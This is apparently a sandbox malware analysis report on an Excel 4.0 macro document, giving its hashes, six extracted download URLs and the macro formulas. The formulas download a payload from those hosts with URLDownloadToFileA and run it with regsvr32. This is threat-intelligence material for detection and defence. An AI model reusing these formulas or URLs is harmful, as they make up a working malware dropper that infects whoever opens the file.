General
-
Target
ae0be73d4c96dd9b8f0fbd4414ebc2ba29b465c6fef13e6d118a5dfbdd9a13bb
-
Size
46KB
-
MD5
a0d4bf590f70bf03ba73fb5642cbcae5
-
SHA1
8d0fce26f5d532e72d096d5f7b64409a543ccf13
-
SHA256
ae0be73d4c96dd9b8f0fbd4414ebc2ba29b465c6fef13e6d118a5dfbdd9a13bb
-
SHA512
b63b7bc5e0121f577c835e4cebc698e5a181ee579dfdd1e6ed4ff0c1b678b47941337462eec29460a2b72398c7b1603dfc3816b440b0949c91c7d001c15e16bb
-
SSDEEP
768:cwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:1WDzftT5fTR4Lh1NisFYBc3cr+UqVfD9
Malware Config
Extracted
http://congresoapp2021.com/u07di/wkdehSgS/
http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/
http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/
http://tournhatrang.asia/cgi-bin/2gnqrN/
https://novinex.net/wp-admin/7WlWVE5fQKnZ1/
http://support.techopesolutions.com/gq2z3/31ecS/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://congresoapp2021.com/u07di/wkdehSgS/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tournhatrang.asia/cgi-bin/2gnqrN/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://novinex.net/wp-admin/7WlWVE5fQKnZ1/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/31ecS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
ae0be73d4c96dd9b8f0fbd4414ebc2ba29b465c6fef13e6d118a5dfbdd9a13bb